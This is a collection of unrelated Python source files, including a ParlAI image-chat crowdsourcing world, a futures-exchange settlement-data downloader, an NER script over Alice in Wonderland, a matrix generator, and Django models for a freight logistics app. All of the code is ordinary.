from tempfile import NamedTemporaryFile
from typing import Any, Dict, List, Tuple

from parlai.core.image_featurizers import ImageLoader
from parlai.core.message import Message
from parlai.core.worlds import validate
from parlai.crowdsourcing.tasks.model_chat.utils import Compatibility, get_image_src
from parlai.crowdsourcing.tasks.model_chat.worlds import (
    BaseModelChatWorld,
    get_bot_worker,
)

class ModelImageChatWorld(BaseModelChatWorld):
    """
    A chat world in which an image is shown to the worker and bot at the beginning.
    """

    def __init__(self, opt, agent, bot, image_idx: int, image_act: Message):
        super().__init__(opt, agent=agent, bot=bot)

        self.image_stack = opt['image_stack']
        self.image_idx = image_idx
        self.image_act = image_act

        # Get a stringified version of the image to show the user
        orig_image = self.image_act['image']
        self.image_src = get_image_src(image=orig_image)

        # Get a featurized version of the image to show the bot
        with NamedTemporaryFile(suffix='.jpg') as f:
            orig_image.save(f)
            image_loader = ImageLoader(self.bot.model_agent.opt)
            self.image_act.force_set('image', image_loader.load(f.name))

    def _run_initial_turn(self) -> None:
        """
        Show the image to the human and bot, and show the bot's response to the human.
        """

        system_id = 'SYSTEM'
        system_agent_idx = None

        # Show the image to the human
        image_act_for_human = {
            'episode_done': False,
            'id': system_id,
            'text': f"""Welcome! You'll now have a conversation with your partner.

<-- FIRST, YOUR PARTNER WILL SAY SOMETHING ABOUT THIS IMAGE TO YOUR LEFT.

Be sure to talk about this image a little bit before discussing other things!
""",
            'task_data': {'image_src': self.image_src},
            'agent_idx': system_agent_idx,
        }
        self.agent.observe(validate(image_act_for_human))

        # Show the image to the bot
        image_act = {
            **self.image_act,
            'episode_done': False,
            'id': system_id,
            'agent_idx': system_agent_idx,
        }
        self.bot.observe(validate(image_act))
        del image_act['image']
        # Don't save the image features to disk

        # Have the bot respond
        bot_first_act_raw = self.bot.act()
        bot_first_act_raw = Message(
            Compatibility.maybe_fix_act(bot_first_act_raw)
        ).json_safe_payload()
        bot_first_act_raw['id'] = self.bot.agent_id
        self.agent.observe(validate(bot_first_act_raw))
        bot_first_act = {
            'episode_done': False,
            'id': bot_first_act_raw['id'],
            'text': bot_first_act_raw['text'],
            'agent_idx': 1,
        }

        # Record lines of dialogue
        self.dialog.append(image_act)
        self.dialog.append(bot_first_act)

    def _postprocess_acts(self, acts: List[dict], agent_idx: int):
        """
        Show the bot the image again on every turn.
        """
        if agent_idx == 0:
            # Add the image to every human act, seen by the bot. Also adds in any other
            # image-related fields needed by the model
            for key, value in self.image_act.items():
                if key not in ['episode_done', 'id', 'text', 'agent_idx']:
                    acts[agent_idx][key] = value

    def get_final_chat_data(self) -> Dict[str, Any]:
        """
        Add image-specific fields to the final chat data.
        """
        data = super().get_final_chat_data()
        data['image_idx'] = self.image_idx
        return data

    def _prepare_acceptability_checking(self) -> Tuple[List[str], List[str]]:
        """
        Apply acceptability checking params specific to image-chat conversation.

        The conversation starts with an image, so the human shouldn't be starting their
        first message with "Hi", etc.
        """
        human_messages, violation_types = super()._prepare_acceptability_checking()
        violation_types.append('penalize_greetings')
        return human_messages, violation_types

    def shutdown(self):

        if not self.chat_done:
            # If the HIT was not completed, remove this worker from the stack
            worker = self.agent.mephisto_agent.get_worker().db_id
            self.image_stack.remove_worker_from_stack(
                worker=worker, stack_idx=self.image_idx
            )

        self.agent.shutdown()

def make_world(opt, agents):

    # We are showing an image to the worker and bot, so grab the image path and other
    # context info
    image_idx, model_name, no_more_work = opt['image_stack'].get_next_image(
        agents[0].mephisto_agent.get_worker().db_id
    )
    full_image_context = opt['image_contexts'][image_idx]
    if no_more_work:
        # There are no more HITs for this worker to do, so give them a qualification
        agents[0].mephisto_agent.get_worker().grant_qualification(
            qualification_name=opt['block_qualification'], value=1
        )

    # Get a bot agent
    bot_worker = get_bot_worker(opt=opt, model_name=model_name)

    return ModelImageChatWorld(
        opt=opt,
        agent=agents[0],
        bot=bot_worker,
        image_idx=image_idx,
        image_act=full_image_context['image_act'],
    )

def get_world_params():
    return {"agent_count": 1}


import csv
import numpy as np
from sklearn import preprocessing

FEATURE_META = [
    ('ordinal', (14, 11, 12, 13)),
    ('numeric', None),
    ('nominal', (30, 31, 32, 33, 34)),
    ('nominal', (40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 410)),
    ('numeric', None),
    ('ordinal', (65, 61, 62, 63, 64)),
    ('ordinal', (71, 72, 73, 74, 75)),
    ('numeric', None),
    ('nominal', (91, 92, 93, 94, 95)),
    ('nominal', (101, 102, 103)),
    ('numeric', None),
    ('ordinal', (124, 123, 122, 121)),
    ('numeric', None),
    ('nominal', (141, 142, 143)),
    ('nominal', (151, 152, 153)),
    ('numeric', None),
    ('ordinal', (171, 172, 173, 174)),
    ('numeric', None),
    ('nominal', (191, 192)),
    ('nominal', (201, 202)),
    ('nominal', (1, 2))
]
NUM_LABELS = 2
ORDINAL_TO_NOMINAL = True

class Loader:
    def __init__(self):
        self.FEATURE_META = FEATURE_META
        pass

    def _read_file_to_np_array(self, filename):
        with open(filename) as file:
            reader = csv.reader(file, delimiter=' ')
            dataset = []
            for raw_row in reader:
                row = [int(cell[1:]) if cell.startswith('A') else float(cell) for cell in raw_row]
                dataset.append(row)

        self._set_normalization_values(dataset)
        dataset = self._encode_features(dataset)
        return np.array(dataset, dtype=np.float32)

    def _set_normalization_values(self, dataset):
        col_size = len(dataset[0])
        for i in range(col_size):
            if self.FEATURE_META[i][0] == 'numeric':
                col = [row[i] for row in dataset]
                self.FEATURE_META[i] = ('numeric', (np.mean(col), np.std(col)))
        return dataset

    def _encode_features(self, dataset):
        encoded_dataset = []
        encoded_labels = []
        for row in dataset:
            encoded_instance = []
            for i, col in enumerate(row):
                feature_meta = self.FEATURE_META[i]
                if feature_meta[0] == 'numeric':
                    mean = feature_meta[1][0]
                    std = feature_meta[1][1]
                    new_col = (col - mean) / std
                    encoded_instance.append(new_col)
                    # encoded_instance.append(col)
                else:
                    value_idx = feature_meta[1].index(int(col))
                    if feature_meta[0] == 'ordinal' and not ORDINAL_TO_NOMINAL:
                        encoding = [1 if j <= value_idx else 0 for j in range(len(feature_meta[1]))]
                    else:
                        # if len(feature_meta[1]) == 2:
                        #     encoding = [1 if value_idx == 1 else -1]
                        # else:
                        encoding = [1 if j == value_idx else 0 for j in range(len(feature_meta[1]))]
                    encoded_instance.extend(encoding)
            encoded_dataset.append(encoded_instance)
        return encoded_dataset

    def load(self, filename):
        dataset = self._read_file_to_np_array(filename)
        [data, labels] = np.split(dataset, [dataset.shape[1] - NUM_LABELS], axis=1)

        return data, labels


from urllib.request import urlopen
import datetime
import ast, csv
import pandas as pd

# 获取今日日期（年月日）
today = datetime.date.today()
year = str(today.year)
month = str(today.month)
monthsub = str(today.month-1) # 用于大连商品交易所特殊的月份（比当前月份少一个月）
# 将少于10的日期前加上0
if today.month < 10:
    month0 = '0'+month
else:
    month0 = month
day = today.day
if day < 10:
    day0 = '0'+str(day)
else:
    day0 = str(day)

## 读取dat文件并转化成dictionary
def readDat(data):
    dict_data = {}

    try:
        # 将dat文件先转化成str，去掉多余的信息，保留完整的dictionary
        strLine = ''.join(data)
        start = strLine.find('[')
        end = strLine.find(']')
        dict_data = strLine[start:end+1]
    except:
        print("Record: ", data)
        raise Exception("Failed while unpacking.")
    # 将dict格式的str文件解析成dictionary
    dict_data = ast.literal_eval(dict_data)

    return dict_data

## 上海能源交易所dat文件解析至csv文件
def ine_csvFile(data):
    # 将dat文件转化成dictionary
    dict_data = readDat(data)

    # 按照dat里的数据标签将dictionary转化成csv文件
    csv_columns = ['INSTRUMENTID', 'TRADEFEEUNIT', 'TRADEFEERATIO', 'HEDGSHORTMARGINRATIO', 'SETTLEMENTPRICE', 'COMMODITYDELIVFEEUNIT', 'SPECLONGMARGINRATIO', 'SPECSHORTMARGINRATIO', 'HEDGLONGMARGINRATIO', 'PRODUCTID', 'PRODUCTNAME']
    csv_file = "INE_Margin.csv"
    try:
        with open(csv_file, 'w') as csvfile:
            writer = csv.DictWriter(csvfile, fieldnames=csv_columns)
            writer.writeheader()
            for d in dict_data:
                writer.writerow(d)
    except IOError:
        print("I/O error")

    # 处理csv文件，将列表统一成网页手动下载时的格式
    csv_data = pd.read_csv(csv_file, low_memory = False)
    csv_df = pd.DataFrame(csv_data)
    # 将列表的英文换成对应中文
    csv_df.columns = ['交割月份', '交易手续费额(元/手)', '交易手续费率(%)', '卖套保交易保证金率', '结算价', '交割手续费', '买投机交易保证金率', '卖投机交易保证金率', '买套保交易保证金率', '商品id', '商品名称']
    # 删掉手动下载格式中不存在的列
    csv_df.drop(csv_df.columns[[9]], axis=1, inplace=True)
    # 重新排列列表的顺序
    csv_df = csv_df[['商品名称', '交割月份', '结算价', '交易手续费率(%)', '交易手续费额(元/手)', '交割手续费', '买投机交易保证金率', '买套保交易保证金率', '卖投机交易保证金率', '卖套保交易保证金率']]
    csv_df = csv_df.set_index('商品名称')
    csv_df.to_csv(csv_file)

## 上海期货交易所dat文件解析至csv文件
def shfe_csvFile(data):
    # 将dat文件转化成dictionary
    dict_data = readDat(data)

    # 按照dat里的数据标签将dictionary转化成csv文件
    csv_columns = ['COMMODITYDELIVERYFEERATION', 'COMMODITYDELIVERYFEEUNIT', 'DISCOUNTRATE', 'INSTRUMENTID', 'LONGMARGINRATIO', 'SETTLEMENTPRICE', 'SHORTMARGINRATIO', 'SPEC_LONGMARGINRATIO', 'SPEC_SHORTMARGINRATIO', 'TRADEFEERATION', 'TRADEFEEUNIT', 'TRADINGDAY', 'UPDATE_DATE', 'id']
    csv_file = "SHFE_Margin.csv"
    try:
        with open(csv_file, 'w') as csvfile:
            writer = csv.DictWriter(csvfile, fieldnames=csv_columns)
            writer.writeheader()
            for d in dict_data:
                writer.writerow(d)
    except IOError:
        print("I/O error")

    # 处理csv文件，将列表统一成网页手动下载时的格式
    csv_data = pd.read_csv(csv_file, low_memory = False)
    csv_df = pd.DataFrame(csv_data)
    # 将列表的英文换成对应中文
    csv_df.columns = ['商品手续费率(%)', '交割手续费', '平今折扣率(%)', '合约代码', '投机买保证金率(%)', '结算价', '投机卖保证金率(%)', '套保买保证金率(%)', '套保卖保证金率(%)', '交易手续费率(%)', '交易手续费额(元/手)', '交易日', '更新日期', 'id']
    # 删掉手动下载格式中不存在的列
    csv_df.drop(csv_df.columns[[0, 11, 12, 13]], axis=1, inplace=True)
    # 重新排列列表的顺序
    csv_df = csv_df[['合约代码', '结算价', '交易手续费率(%)', '交易手续费额(元/手)', '交割手续费', '投机买保证金率(%)', '投机卖保证金率(%)', '套保买保证金率(%)', '套保卖保证金率(%)', '平今折扣率(%)']]
    csv_df = csv_df.set_index('合约代码')
    # 处理列表数据，更换保留位数及记录方式，将百分率转化成100为单位的百分比形式
    csv_df['结算价'] = csv_df['结算价'].astype(int)
    csv_df['交割手续费'] = csv_df['交割手续费'].astype(int)
    csv_df['交易手续费额(元/手)'] = csv_df['交易手续费额(元/手)'].astype(int)
    csv_df['交易手续费率(%)'] = csv_df['交易手续费率(%)']*1000
    csv_df['投机买保证金率(%)'] = (csv_df['投机买保证金率(%)']*100).astype(int)
    csv_df['投机卖保证金率(%)'] = (csv_df['投机卖保证金率(%)']*100).astype(int)
    csv_df['套保买保证金率(%)'] = (csv_df['套保买保证金率(%)']*100).astype(int)
    csv_df['套保卖保证金率(%)'] = (csv_df['套保卖保证金率(%)']*100).astype(int)
    csv_df['平今折扣率(%)'] = (csv_df['平今折扣率(%)']*100).astype(int)
    csv_df.to_csv(csv_file)

## 2.1 大连商品交易所
def dce_getForm():

    url1 = 'http://www.dce.com.cn/publicweb/businessguidelines/exportFutAndOptSettle.html?variety=all&trade_type=0&year='+year+'&month='+monthsub+'&day='+day0+'&exportFlag=excel'
    f1 = urlopen(url1)
    data = f1.read()
    with open("DCE_Margin.xls", "wb") as code:
        code.write(data)

## 2.2 郑州商品交易所
def czce_getForm():

    # 示例下载链接2021-6-2: 'http://www.czce.com.cn/cn/DFSStaticFiles/Future/2020/20200602/FutureDataClearParams.xls'
    url2 = 'http://www.czce.com.cn/cn/DFSStaticFiles/Future/'+year+'/'+year+month0+day0+'/FutureDataClearParams.xls'
    f2 = urlopen(url2)
    data = f2.read()
    with open("CZCE_Margin.xls", "wb") as code:
        code.write(data)

### 2.3 上海期货交易所
def shfe_getForm():

    # 示例下载链接2021-6-8: 'http://www.shfe.com.cn/data/instrument/Settlement20210608.dat'
    url3 = 'http://www.shfe.com.cn/data/instrument/Settlement'+year+month0+day0+'.dat'
    f3 = urlopen(url3)
    data = f3.read().decode('utf-8')
    shfe_csvFile(data)

## 2.4 上海能源交易中心
def ine_getForm():

    # 示例下载链接2021-6-8日：'http://www.ine.cn/data/dailydata/js/js20210608.dat'
    url4 = 'http://www.ine.cn/data/dailydata/js/js'+year+month0+day0+'.dat'
    f4 = urlopen(url4)
    data = f4.read().decode('utf-8')
    ine_csvFile(data)

## 2.5 中国金融期货交易所
def cffex_getForm():

    # 示例下载链接2021-5-28: 'http://www.cffex.com.cn/sj/jscs/202105/28/20210528_1.csv'
    url5 =  'http://www.cffex.com.cn/sj/jscs/202105/28/20210528_1.csv'
    f5 = urlopen(url5)
    data = f5.read()
    with open("CFFEX_Margin.csv", "wb") as code:
        code.write(data)

### 下载全部5个网页最新的结算参数表格
def getAllForms():
    try:
        dce_getForm()
        czce_getForm()
        shfe_getForm()
        ine_getForm()
        cffex_getForm()
    except:
        print('May not be the right time to download.')

if __name__ == '__main__':
    getAllForms()


# PART-I Calculate the factorial of a given number
# PART-II Find the  number of tailing zeroes in that factorial
def factorial(num):
    if num==0 or num==1:
        return 1
    else:
        return num*factorial(num-1)
def factorialTrailingZeros(num):
    count = 0
    #100! = 100//5 + 100//5*5
    i=5
    while num//i!=0:
        count += int(num/i)
        i=i*5
    return count

if __name__ == '__main__':
    num = int(input("Enter any num: "))
    print(f"The factorail of {num} is : {factorial(num)}")
    print(factorialTrailingZeros(num))

# def factorial(n):
#     num=1
#     while n!=0:
#         num = num*n
#         n=n-1
#     return num
# f = factorial(4)
# print(f)


import nltk
from nltk.tokenize import sent_tokenize
nltk.download('stopwords')
nltk.download('punkt')
nltk.download('gutenberg')

from tqdm import tqdm
import string
from collections import Counter
from flair.models import SequenceTagger
from flair.data import Sentence

book = nltk.corpus.gutenberg.raw('carroll-alice.txt')
chapters = book.split('CHAPTER')

summary = ''
print(f"NER MODEL")
# For each chapter, run NER
for i in range(1, len(chapters)):

    temp = chapters[i]
    title = temp.split('\n')[0]
    chapters[i] = chapters[i].replace('\n', ' ')
    chapters[i] = chapters[i].replace('\r', ' ')
    chapters[i] = chapters[i].replace('\'', ' ')
    sent = sent_tokenize(chapters[i])

    # Flair named entity recognition model
    tagger = SequenceTagger.load('ner')

    # Get all the characters names and locations
    characters = []
    locations = []
    for line in tqdm(sent):
        sentence = Sentence(line)

        tagger.predict(sentence)
        for entity in sentence.get_spans('ner'):

            # If person, add to characters list
            if entity.get_label("ner").value == 'PER':
                characters.append(entity.text)

            # If location, add to location list
            elif entity.get_label("ner").value == 'LOC':
                locations.append(entity.text)

    # Remove any punctuation within the names
    names = []
    for name in characters:
        names.append(name.translate(str.maketrans('', '', string.punctuation)))

    # List characters by the frequency with which they are mentioned
    result = [item for items, c in Counter(characters).most_common() for item in [items] * c]

    common = []
    main_freq = []

    # Manually remove words that are not character names from our list
    not_names = ['Well', 'Ive', 'Five', 'Theyre', 'Dont', 'Wow', 'Ill', 'Miss', 'Hush', 'Yes', ]

    for n, c in Counter(names).most_common():
        if  n not in not_names:
            main_freq.append((n, c))
            common.append(n)

    summary += f"Chapter{title}:\n    Character List: {common}\n    Locations: {list(set(locations))}\n"
    summary += "---------------------------------------------\n"

with open('charactersLocations.txt', 'w') as f:
    f.write(summary)


while True:
    try:
        x = int(input('[*] - Digite o primeiro número inteiro: '))
        y = int(input('[**] - Digite o segundo número inteiro: '))
        prod = x * y
        print(f'\nProduto: {prod}')
        break
    except ValueError:
        print('Erro: a operação só aceita valores numéricos inteiros, tente novamente.')
        continue


import numpy as np
from numpy.linalg import qr
from scipy.special import erfc
from scipy.linalg import hadamard
from ..config import *

def getMatrix(dim, k, res, rowSpace = 'random', spectrum = 'smooth gap',
                returnSVD = False, coherenceScalar = .1, steepness = 1):

    #Check for valid inputs
    assert type(dim) == int and dim > 0, 'Matrix dimension must be a positive '\
    'integer.'
    assert type(k) == int and k > 0, 'Target rank must be a positive integer.'
    assert type(dim >= k), 'Target rank cannot excced matrix dimension'
    assert res >0 and res < 1, 'Target residual must be in the open '\
    'interval (0,1).'

    #Constructing the column space (left singular subspace) of the matrix
    U = qr(np.random.normal(size=(dim,dim)))[0]

    #Constructing the row space (right singular subspace) of the matrix
    if rowSpace == 'random':
        V = qr(np.random.normal(size=(dim,dim)))[0]
    elif rowSpace == 'hadamard':

        #Scipy hadamard only works for powers of 2. Can manually save other
        #Hadamard matrices using saveHadamard.jl and then load them here
        try:
            V= hadamard(dim)/np.sqrt(dim)
        except:

            a = os.path.abspath(".").rfind('/')
            projectPath = os.path.abspath(".")[:a+1]
            V=np.load(projectPath + hadamardMatricesPath + 'hadamard' + str(dim) + '.npy')/np.sqrt(dim)
    elif rowSpace == 'incoherent':
        try:
            V= hadamard(dim)/np.sqrt(dim)
        except:
            V=np.load(hadamardMatricesPath + 'hadamard' + str(dim) + '.npy')/np.sqrt(dim)
        L, _, R = np.linalg.svd(V +coherenceScalar*np.random.normal(size=(dim,dim)))
        V=L@R
    elif rowSpace == 'permutation':
        V=np.eye(dim)[:,np.random.permutation(dim)]
    elif rowSpace == 'coherent':
        V=np.eye(dim)[:,np.random.permutation(dim)]
        L, _, R = np.linalg.svd(V + coherenceScalar*np.random.normal(size=(dim,dim)))
        V=L@R
    else:
        raise Exception ('Not a valid row space.')

    #Constructing the singular spectrum
    if spectrum == 'smooth gap':
        decayLength = int(np.floor(.7*k))
        x = np.linspace(0, 1, dim)
        x *= steepness*5/(x[k-1] - x[k-1-decayLength])
        x += 2.5 - x[k-1]

        singularValues = .5*(1+erfc(x))/1.5
        beta = np.log(res)/np.log(singularValues[k])
        singularValues **= beta
        sigma = np.diag(singularValues)

    if returnSVD:
        return U, sigma, V
    else:
        return U @ sigma@ V.T

# U,sigma,V = getMatrix(96,48,1e-12,'incoherent',returnSVD = True)
# k = np.arange(0,96,1)
# plt.plot(k,np.diag(sigma))
# plt.show()


import argparse
import shutil
import numpy as np
from matplotlib import image,pyplot
import os
import cv2
import json

parser = argparse.ArgumentParser()
parser.add_argument('--MaskedImageFolder', type=str)
parser.add_argument('--FullImageFolder', type=str)
args = parser.parse_args()

pathX = os.path.join(args.MaskedImageFolder, "X/")
pathY = os.path.join(args.MaskedImageFolder, "Y/")

savepathX =  os.path.join(args.FullImageFolder, "X/")
savepathY =  os.path.join(args.FullImageFolder, "Y/")

flist = os.path.join(args.FullImageFolder, "imagefiles.flist")
jsonfile = os.path.join(args.MaskedImageFolder, "maskdata.json")
shutil.copy(jsonfile, args.FullImageFolder)

filesX = sorted(os.listdir(pathX))

# flist file creation#
if not os.path.exists(flist):
    os.mknod(flist)

fo = open(flist,"w")
with open(jsonfile, encoding='utf-8') as jfile:
    mask_info = json.loads(jfile.read())
    for fileX in filesX:
        imgX = cv2.imread(os.path.join(pathX,fileX), -1) #masked image
        imgY = cv2.imread(os.path.join(pathY, fileX), -1) #mask
        if imgX.ndim == 3:
            origIm = imgX + imgY
            mask = np.zeros_like(imgX[:, :, 0])
            for i in range(len(mask_info[fileX])):
                x, y, size = mask_info[fileX][i]
                mask[x:x+size, y:y+size] = 1
            # Save original image and the corresponding mask
            cv2.imwrite(savepathX + fileX, origIm)
            pyplot.imsave(savepathY + fileX, mask, cmap='gray')
            # Write the file paths to flist file
            fo.write("%s\n" % (savepathX + fileX))
        elif imgX.ndim == 2:
            if imgY.ndim == 3:
                imgY = imgY[:,:,0]
            origIm = imgX + imgY
            mask = np.zeros_like(imgX)
            for i in range(len(mask_info[fileX])):
                x, y, size = mask_info[fileX][i]
                mask[x:x + size, y:y + size] = 1
            # Save original image and the corresponding mask
            pyplot.imsave(savepathX + fileX, origIm, cmap='gray')
            pyplot.imsave(savepathY + fileX, mask, cmap='gray')
            # Write the file paths to flist file
            fo.write("%s\n" % (savepathX + fileX))


import googlemaps
import json
import random
from django.conf import settings
from datetime import date as todaysDate
from django.utils.timezone import make_aware
from django.db import models
from usuarios.models import MyUser, Cliente, Transportista, Unidades
from django.urls import reverse
from django.utils import timezone
from django.dispatch import receiver
from django.utils.text import slugify
from django.db.models.signals import post_save, post_delete
from django.core.exceptions import ValidationError

ESTADOS = (
    ('Aguascalientes','Aguascalientes'),
    ('Baja California','Baja California'),
    ('Baja California Sur','Baja California Sur'),
    ('Campeche','Campeche'),
    ('Coahuila de Zaragoza','Coahuila de Zaragoza'),
    ('Colima','Colima'),
    ('Chiapas','Chiapas'),
    ('Chihuahua','Chihuahua'),
    ('CDMX','CDMX'),
    ('Durango','Durango'),
    ('Guanajuato','Guanajuato'),
    ('Guerrero','Guerrero'),
    ('Hidalgo','Hidalgo'),
    ('Jalisco','Jalisco'),
    ('México','México'),
    ('Michoacán de Ocampo','Michoacán de Ocampo'),
    ('Morelos','Morelos'),
    ('Nayarit','Nayarit'),
    ('Nuevo León','Nuevo León'),
    ('Oaxaca','Oaxaca'),
    ('Puebla','Puebla'),
    ('Querétaro','Querétaro'),
    ('Quintana Roo','Quintana Roo'),
    ('San Luis Potosí','San Luis Potosí'),
    ('Sinaloa','Sinaloa'),
    ('Sonora','Sonora'),
    ('Tabasco','Tabasco'),
    ('Tamaulipas','Tamaulipas'),
    ('Tlaxcala','Tlaxcala'),
    ('Veracruz de Ignacio de la Llave','Veracruz de Ignacio de la Llave'),
    ('Yucatán','Yucatán'),
    ('Zacatecas','Zacatecas'),
)

def validate_name_domicilio(name):
    if Domicilios.objects.filter(nombre=name).exists():
        raise ValidationError("No se puede agregar un domiclio con el mismo nombre {name}")

class Domicilios(models.Model):
    cliente_id = models.ForeignKey(Cliente, on_delete=models.CASCADE)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()
    nombre = models.CharField(verbose_name="Nombre para identificar domicilio", max_length=200)
    calle = models.CharField(verbose_name="Calle", max_length=200)
    num_ext = models.CharField(verbose_name="Numero exterior", max_length=200)
    num_int = models.CharField(verbose_name="Numero interior", max_length=200, blank=True)
    colonia = models.CharField(verbose_name="Colonia", max_length=200)
    municipio = models.CharField(verbose_name="Municipio o alcadía", max_length=200)
    cp = models.CharField(verbose_name="Código postal",max_length=200,)
    estado = models.CharField(verbose_name="Estado", choices=ESTADOS, max_length=100)
    referencias = models.TextField(verbose_name="Refrencias del domicilio")
    longitud = models.FloatField(verbose_name="Longitud", blank=True)
    latitud = models.FloatField(verbose_name="Latitud", blank=True)
    is_valid = models.BooleanField(verbose_name="Es válido", default=False)
    google_format = models.CharField(verbose_name="Dirección completa", max_length=200, blank=True)
    google_place_id = models.CharField(verbose_name="Google place ID", max_length=250, blank=True)
    slug = models.SlugField(null=True, blank=True, max_length=250)

    class Meta:
        verbose_name_plural = "Domicilios"

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        if not self.id:
            self.creado = timezone.now()
            gmaps = googlemaps.Client(key=settings.GOOGLE_API_KEY)
            direction = f'{self.calle} {self.num_ext} {self.colonia} {self.estado}'
            geocode_result = gmaps.geocode(direction)
            direccion_google = geocode_result[0]["formatted_address"]
            if len(geocode_result) == 0 or len(direccion_google) < 50:
                self.is_valid = False
                self.google_format = "Invalid"
                self.latitud = 0
                self.longitud = 0
                self.google_place_id = "not valid"
                self.google_format = "not valid"
            else:
                self.latitud = geocode_result[0]["geometry"]["location"]["lat"]
                self.longitud = geocode_result[0]["geometry"]["location"]["lng"]
                self.google_place_id = geocode_result[0]["place_id"]
                self.google_format = direccion_google
                self.is_valid = True
        self.modificado = timezone.now()
        if self.slug is None:
            self.slug = slugify(f"{self.nombre}-{self.cliente_id}")
        return super(Domicilios, self).save(*args, **kwargs)

    def __str__(self):
        return f'{self.nombre}'

    @property
    def direccion_completa(self):
        return f'{self.calle } {self.num_ext} {self.num_int}, C.P  {self.cp}  {self.colonia}  {self.municipio},  {self.estado}'

    @property
    def get_domiclios_user(self, user):
        pass

ESTADO_SOLICITUD = (
    ('Guardada','Guardada'),
    ('Publicada','Publicada'),
    ('Cotizada','Cotizada'),
    ('Asignada','Asignada'),
    ('Pagada','Pagada'),
    ('Cancelada','Cancelada'),
    ('Vencida','Vencida'),
)

def validate_date(date):
    if date.date() <= timezone.now().date():
        raise ValidationError("La fecha tiene que ser mayor a hoy")

class Solicitud(models.Model):
    cliente_id = models.ForeignKey(Cliente, on_delete=models.CASCADE)
    folio = models.CharField(verbose_name="Folio", max_length=100, editable=False, unique = True)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()
    descripcion_servicio = models.TextField(verbose_name="Descripción de servicio")
    caracteristicas_carga = models.TextField(verbose_name="Tipo de carga")
    peso_carga = models.FloatField(verbose_name="Peso de la carga(kg)")
    volumen_carga = models.FloatField(verbose_name="Volumen de la carga(mts3)")
    unidades_totales = models.IntegerField(verbose_name="Unidades totales de la carga")
    fecha_servicio = models.DateTimeField(verbose_name="Fecha de servicio", validators=[validate_date])
    hora = models.TimeField(verbose_name="Hora de servicio")
    tiempo_carga = models.IntegerField(verbose_name="Tiempo máximo para la carga(min)")
    domicilio_id = models.ForeignKey(Domicilios, on_delete=models.PROTECT, verbose_name="Origen")
    estado_solicitud = models.CharField(verbose_name="Estado de la solicitud", choices=ESTADO_SOLICITUD, max_length=40, default="Guardada")
    tiempo_total = models.FloatField(verbose_name="Tiempo total del viaje", null=True, blank=True)
    km_total = models.FloatField(verbose_name="Km totales del viaje", null=True, blank=True)
    slug = models.SlugField(null=True, blank=True)
    material_peligroso = models.BooleanField(
        verbose_name="Es material peligroso",
        default=False,)
    estado_origen = models.CharField(verbose_name="Estado", choices=ESTADOS, max_length=40,  null=True, blank=True)
    motivo_cancelacion = models.TextField(verbose_name="Motivo de cancelación",  null=True, blank=True)
    activo = models.BooleanField(
        verbose_name="Activo",
        default=True,)

    class Meta:
        verbose_name_plural = "Solicitudes"

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        if not self.id:
            self.creado = timezone.now()
        self.modificado = timezone.now()
        if not self.estado_origen:
            self.estado_origen = self.domicilio_id.estado
        return super(Solicitud, self).save(*args, **kwargs)

    def has_destinos(self):
        destinos =  Destino.objects.filter(solicitud_id=self.pk)
        if destinos:
            destinos = list(destinos)
            return "Ruta" if len(destinos) > 1 else "Sencillo"
        else:
            return "Sencillo"

    def __str__(self):
        return f'{self.folio}'

    def get_absolute_url(self):
        return reverse('detail-solicitud', kwargs={'pk':self.pk})

    def get_domiciliosid_destinos(self):
        destinos = Destino.objects.filter(solicitud_id=self.id)
        lista =[]

        for destino in destinos:
                lista.append(destino.domicilio_id.id)

        return lista

    def has_cotizaciones(self):
        cotizaciones =  Cotizacion.objects.filter(solicitud_id=self.pk)
        return True if cotizaciones else False

    def has_cotizacion_aceptada(self):
        cotizaciones =  Cotizacion.objects.filter(solicitud_id=self.pk)
        if cotizaciones:
            flag = False
            for cotizacion in cotizaciones:
                if cotizacion.estado_cotizacion == 'Aceptada':
                    return True
            return flag
        else:
            return False

    def cotizacionFinal(self):
        cotizacion = Cotizacion.objects.filter(solicitud_id=self.id).filter(estado_cotizacion='Confirmada') | Cotizacion.objects.filter(solicitud_id=self.id).filter(estado_cotizacion='Pagada') | Cotizacion.objects.filter(solicitud_id=self.id).filter(estado_cotizacion='Pendiente de pago') | Cotizacion.objects.filter(solicitud_id=self.id).filter(estado_cotizacion='Aceptada')
        return cotizacion[0] if cotizacion else False

    def cotizaciones(self):
        return Cotizacion.objects.filter(solicitud_id=self.id)

class Destino(models.Model):
    solicitud_id = models.ForeignKey(Solicitud, on_delete=models.CASCADE)
    domicilio_id = models.ForeignKey(Domicilios, on_delete=models.PROTECT)
    tiempo_descarga = models.IntegerField(verbose_name="Tiempo máximo para la descarga(min)")
    unidades_entregar = models.IntegerField(verbose_name="Unidades a entregar en este destino")
    foto1 = models.ImageField(verbose_name="Foto 1 evidencia de entrega", upload_to='unidades_pics', null=True, blank=True)
    foto2 = models.ImageField(verbose_name="Foto 2 evidencia de entrega", upload_to='unidades_pics', null=True, blank=True)
    foto3 = models.ImageField(verbose_name="Foto 3 evidencia de entrega", upload_to='unidades_pics', null=True, blank=True)
    foto4 = models.ImageField(verbose_name="Foto 4 evidencia de entrega", upload_to='unidades_pics', null=True, blank=True)
    foto5 = models.ImageField(verbose_name="Foto 5 evidencia de entrega", upload_to='unidades_pics', null=True, blank=True)
    #registro de llegada
    #registo de hora de llegada

    class Meta:
        verbose_name_plural = "Destinos"

    def __str__(self):
        return f'Destino {self.domicilio_id} de {self.solicitud_id}'

    def hasEvidencias(self):
        return True if self.foto1 else False

NIVEL_SEGURO = (
    ('Sin seguro', 'Sin seguro'),
    ('Nivel 1','Nivel 1'),
    ('Nivel 2','Nivel 2'),
    ('Nivel 3','Nivel 3'),
)

class Seguro(models.Model):
    nombre = models.CharField(verbose_name="Seguro", max_length=40, default="")
    costo = models.FloatField(verbose_name="Costo del seguro")
    cobertura = models.FloatField(verbose_name="Cobertura del seguro")

    class Meta:
        verbose_name_plural = "Seguros"

    def __str__(self):
        return f'{self.nombre}'

DEDUCCIONES_NOMBRES = (
    ('iva','iva'),
    ('comision_viaje','comision_viaje'),
)

class Deduccion(models.Model):
    #check optiosn of default
    nombre = models.CharField(verbose_name="Nombre de deducción", choices=DEDUCCIONES_NOMBRES, max_length=40, default="", unique=True)
    porcentaje = models.FloatField (verbose_name="%", help_text = "Ejemplo 0.16, agregar 0 al incio")
